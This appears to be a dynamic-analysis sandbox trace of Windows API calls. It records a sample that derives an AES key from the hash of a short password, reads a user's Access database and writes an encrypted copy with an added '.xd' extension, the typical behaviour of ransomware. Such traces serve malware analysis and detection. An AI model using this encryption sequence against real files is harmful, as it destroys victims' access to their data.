CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0069.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621360, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0069.245] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0069.245] CryptCreateHash (in: hProv=0x17aa1a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0069.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.246] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0069.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629500, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0069.246] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0069.246] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0069.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0069.246] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.246] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.246] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.246] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0069.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621750, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0069.246] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0069.246] CryptHashData (hHash=0x164c630, pbData=0x1629430, dwDataLen=0x3, dwFlags=0x1) returned 1 [0069.246] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.247] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.247] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.247] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.247] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.247] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0069.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621780, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0069.247] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0069.247] CryptDeriveKey (in: hProv=0x17aa1a8, Algid=0x6610, hBaseData=0x164c630, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c7b0) returned 1 [0069.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.247] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.248] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0069.248] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0069.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0069.248] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0069.248] CryptDestroyHash (hHash=0x164c630) returned 1 [0069.248] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.248] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.248] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.248] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.248] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.248] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\database1.accdb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0069.249] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.249] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0069.249] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.249] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.249] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.249] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0069.250] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\database1.accdb.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0069.250] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.250] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.250] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.250] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.252] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0069.252] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0069.314] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0069.496] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0069.504] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0069.505] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0069.508] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x7000, lpOverlapped=0x0) returned 1 [0069.509] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0069.519] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0069.519] TranslateMessage (lpMsg=0x130f164) returned 0 [0069.519] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0069.519] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0069.524] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0069.524] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0069.524] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.528] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.528] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.528] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0069.532] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.532] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.532] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0069.532] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.532] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0069.532] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.532] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.533] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.533] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0069.533] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0069.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0069.533] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0069.533] CryptGetKeyParam (in: hKey=0x164c7b0, dwParam=0x7, pbData=0x1629360, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629360*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0069.533] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.533] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.533] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.534] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.534] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.534] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.534] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.534] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.534] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.534] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.534] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.534] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.534] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.534] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.540] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0069.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621750, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0069.540] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0069.540] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x57000, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x57010) returned 1 [0069.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.541] CharLowerBuffW (in: lpsz="byte[356369]", cchLength=0xc | out: lpsz="byte[356369]") returned 0xc [0069.544] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.550] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.550] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.550] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.564] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0069.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0069.564] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0069.564] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x192b020*, pdwDataLen=0x130e618*=0x57000, dwBufLen=0x57010 | out: pbData=0x192b020*, pdwDataLen=0x130e618*=0x57010) returned 1 [0069.565] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.565] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.565] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.576] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.577] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.577] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.577] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0069.577] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.577] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0069.577] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 